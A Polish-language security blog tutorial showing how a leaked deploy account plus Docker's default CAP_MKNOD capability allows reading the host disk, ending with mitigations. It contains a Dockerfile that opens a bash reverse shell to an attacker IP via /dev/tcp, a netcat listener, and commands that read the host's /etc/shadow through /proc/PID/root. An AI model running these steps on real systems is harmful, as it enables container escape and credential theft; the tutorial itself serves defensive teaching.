Nadużywanie rozszerzonych zdolności kontenerów Dockera do eskalacji uprawnień
Napisał: Patryk Krawaczyński
03/07/2021 w Bezpieczeństwo Brak komentarzy. (artykuł nr 790, ilość słów: 1011)
W
yobraźmy sobie następujący scenariusz. Wyciekł klucz SSH umożliwiający zalogowanie się do zwykłego konta platformy wdrożeniowej. Był on używany do wdrażania i aktualizacji repozytoriów za pomocą ansible. Umożliwia on zalogowanie się na powłokę systemową grupy serwerów, na której są budowane i uruchamiane kontenery Docker. Samo konto nie posiada żadnych dodatkowych uprawnień ani grup. Zastanówmy się teraz w jaki sposób możemy dokonać eskalacji uprawnień wykorzystując jedną z przestrzeni nazw (ang. namespace) kontenera Docker oraz rozszerzonej zdolności Linuksa (ang. capabilities).
Reverse shell:
Pierwszym krokiem będzie spreparowanie pliku Dockerfile, który umożliwi nam dostanie się do powłoki kontenera na etapie budowania obrazu:
FROM ubuntu:latest RUN /bin/bash -c 'while :;do sleep 5;/bin/bash -i >/dev/tcp/192.168.56.3/8080 0<&1 2>&1;done' CMD ["/bin/bash"]
Na maszynie o adresie 192.168.56.3 uruchamiamy nasłuch netcat
:
netcat -v -l -p 8080
Gdy tylko spreparowany plik wyślemy na platformę wdrożeniową i uruchomi się proces budowy to na maszynie atakującego, na porcie 8080 powinna zgłosić się nam powłoka /bin/bash
z uprawnieniami administratora na kontenerze:
listening on [any] 8080 ... 192.168.56.2: inverse host lookup failed: Host name lookup failure connect to [192.168.56.3] from (UNKNOWN) [192.168.56.2] 47906 bash: cannot set terminal process group (1): Inappropriate ioctl for device bash: no job control in this shell root@1b7deb005258:/#
Przestrzenie nazw:
Zatrzymajmy się tutaj na chwilę. Jądro systemu Linux udostępnia siedem przestrzeni nazw (pid, net, uts, user, mnt, ipc, cgroup), które służą do izolowania określonych części systemu. Na przykład przestrzeń nazw identyfikatorów procesów (PID) umożliwia procesowi nadrzędnemu i jego procesom podrzędnym wyizolowany widok uruchomionych procesów w systemie. Przestrzeń nazw sieci (NET) umożliwia zestawowi procesów posiadanie własnego widoku sieci, który jest używany do nadawania skonteneryzowanym obiektom własnego adresu IP. Tutaj musimy skupić się na przestrzeni nazw montowania (MNT) i przestrzeni nazw użytkownika (USER). Pierwsza pozwala zestawowi procesów mieć własny widok systemu plików, a druga pozwala użytkownikowi uzyskać dostęp do działań wcześniej dozwolonych tylko dla użytkownika root – o ile te działania wpływają tylko na ich własną przestrzeń nazw.
Jedną ze specjalnych cech przestrzeni nazw montowania jest to, że można uzyskać do niej dostęp poprzez foldery: /proc/$PID/root
oraz /proc/$PID/cwd
. Foldery te umożliwiają procesom w nadrzędnej przestrzeni nazw montowania (MNT) i przestrzeni nazw procesów (PID) tymczasowe wyświetlanie plików w przestrzeni nazw montowania (MNT) innego procesu. Dostęp ten jest nieco magiczny i ma pewne ograniczenia – na przykład pliki wykonywalne setuid nie będą działać, a pliki urządzeń nadal będą dostępne, nawet jeśli /proc
jest zamontowany z opcją nodev. Zacznijmy od nadużycia faktu, że flaga montowania nodev nie jest respektowana.
W tym scenariuszu mamy atakującego z uprawnieniami root na kontenerze Docker i zwykłą powłoką na hoście utrzymującym te kontenery. Kontenery Docker nie używają przestrzeni nazw użytkowników (USER); użytkownik root w kontenerze ma dostęp do tego samego użytkownika (root) poza kontenerem. Jednak Docker usuwa szereg rozszerzonych zdolności z użytkownika root w kontenerze, aby upewnić się, że nie będzie on miał wpływu na nic poza kontenerem. Domyślnie Docker ma następujące rozszerzone zdolności:
root@darkstar:~# ps xuaw | grep 'docker run' root 1120 0.1 1.4 903804 57032 pts/0 Sl+ 22:14 0:00 docker run -i -t ubuntu:latest root@darkstar:~# grep Cap /proc/1120/status CapInh: 0000000000000000 CapPrm: 0000003fffffffff CapEff: 0000003fffffffff CapBnd: 0000003fffffffff CapAmb: 0000000000000000 root@darkstar:~# capsh --decode=0000003fffffffff 0x0000003fffffffff= cap_chown, cap_dac_override, cap_dac_read_search, cap_fowner, cap_fsetid, cap_kill, cap_setgid, cap_setuid, cap_setpcap, cap_linux_immutable, cap_net_bind_service, cap_net_broadcast, cap_net_admin, cap_net_raw, cap_ipc_lock, cap_ipc_owner, cap_sys_module, cap_sys_rawio, cap_sys_chroot, cap_sys_ptrace, cap_sys_pacct, cap_sys_admin, cap_sys_boot, cap_sys_nice, cap_sys_resource, cap_sys_time, cap_sys_tty_config, cap_mknod, cap_lease, cap_audit_write, cap_audit_control, cap_setfcap, cap_mac_override, cap_mac_admin,cap_syslog, cap_wake_alarm, cap_block_suspend, cap_audit_read
Większość z tych rozszerzonych zdolności jest trudna do nadużycia. Na przykład cap_kill
umożliwia użytkownikowi root na zabicie wszystkich procesów, które widzi – ograniczone przez przestrzeń nazw identyfikatorów procesów (PID) pozwala zrobić to tylko w ramach kontenera. Aczkolwiek kontener ma również przyznane cap_mknod
, co pozwala użytkownikami root w kontenerze tworzyć pliki urządzeń blokowych. Pliki urządzeń to specjalne obiekty używane do uzyskiwania dostępu do sprzętu leżącego pod systemem. Na przykład plik urządzenia blokowego /dev/sda
daje dostęp do odczytu surowych danych na dysku systemowym.
Droga do eskalacji:
Docker zapewnia, że urządzenia blokowe nie mogą być nadużywane z poziomu kontenera, ustawiając w kontenerze zasady cgroup (ang. linux control groups), które blokują odczyt i zapis urządzeń blokowych. Jeśli jednak urządzenie blokowe jest tworzone w kontenerze, można uzyskać do niego dostęp za pośrednictwem folderu /proc/$PID/root
spoza kontenera. Jedyne ograniczenie polega na tym, że proces musi być własnością tego samego użytkownika poza i wewnątrz kontenera. Posiadając tą wiedzę przejdźmy do eskalacji uprawnień. Wewnątrz kontenera tworzymy urządzenie blokowe, którego namiary możemy wcześniej odczytać z serwera:
deploy@darkstar:~$ ls -al /dev/sda brw-rw---- 1 root disk 8, 0 Sep 15 17:02 /dev/sda root@1b7deb005258:/# mknod sda b 8 0 root@1b7deb005258:/# chmod 777 sda
Na serwerze, do którego wyciekł klucz SSH sprawdzamy jakie UID i GID posiada zwykły użytkownik, na którego możemy się zalogować:
deploy@darkstar:~$ id uid=1000(deploy) gid=1000(deploy) groups=1000(deploy) deploy@darkstar:~$ grep deploy /etc/passwd deploy:x:1000:1000:deploy:/home/deploy:/bin/bash
Dodajemy takiego samego użytkownika na kontenerze:
root@1b7deb0052:/# echo "deploy:x:1000:1000:deploy:/home/deploy:/bin/bash" >> /etc/passwd root@1b7deb0052:/# echo "deploy:x:1000:" >> /etc/group root@1b7deb0052:/# passwd deploy New password: ******** Retype new password: ******** passwd: password updated successfully
Na tym samym kontenerze uruchamiamy powłokę z prawami dodanego użytkownika:
root@1b7deb005258:/# su - deploy su: warning: cannot change directory to /home/deploy: No such file or directory agresor@1b7deb005258:/$ /bin/sh $
Na serwerze hostującym kontener szukamy procesu powłoki /bin/sh:
deploy@darkstar:~$ ps xuaw| grep '/bin/sh' deploy 1579 0.0 0.0 2608 536 pts/0 S+ Jul02 0:00 /bin/sh
Wróćmy teraz do wspomnianej wyżej ścieżki: /proc/$PID/root
. W celu demonstracji, że użytkownik deploy z poziomu serwera ma teraz pełny dostęp do systemu plików na dysku /dev/sda – pobierzemy sobie hasło użytkownika root z pliku /etc/shadow
tego serwera:
deploy@darkstar:~$ grep -a 'root:\$.\$' /proc/1579/root/sda root:$6$MBnH8vSfmWFIUWCO$kNnXxdXvBz/4wGEnHIt2Ctt4b9r...sjAx4NiNgBvIG/:18804:0:99999:7:::
lub prościej:
deploy@darkstar:~$ debugfs /proc/1579/root/sda debugfs 1.45.5 (07-Jan-2020) debugfs: cat /etc/shadow root:$6$MBnH8vSfmWFIUWCO$kNnXxdXvBz/4wGEnHIt2Ctt4b9r...sjAx4NiNgBvIG/:18804:0:99999:7:::
Tego rodzaju eskalacji można bardzo łatwo zapobiec. Po pierwsze przestrzegając jednej z najlepszych praktyk jeśli chodzi o kontenery, czyli upewniając się, że nikt nie uruchamia procesów jako root w kontenerze oraz uruchamiając sam obraz kontenera z parametrem --cap-drop=MKNOD
. Bardzo wiele kontenerów jest uruchamianych z dużo większymi uprawnieniami niż potrzebują. Rezygnacja z większości z nich (szczególnie na środowisku produkcyjnym) może być dobrym pomysłem.
Więcej informacji: Secure Your Containers with this One Weird Trick, The 7 most used Linux namespaces, A Linux sysadmin’s introduction to cgroups, Abusing access to mount namespaces through /proc/pid/root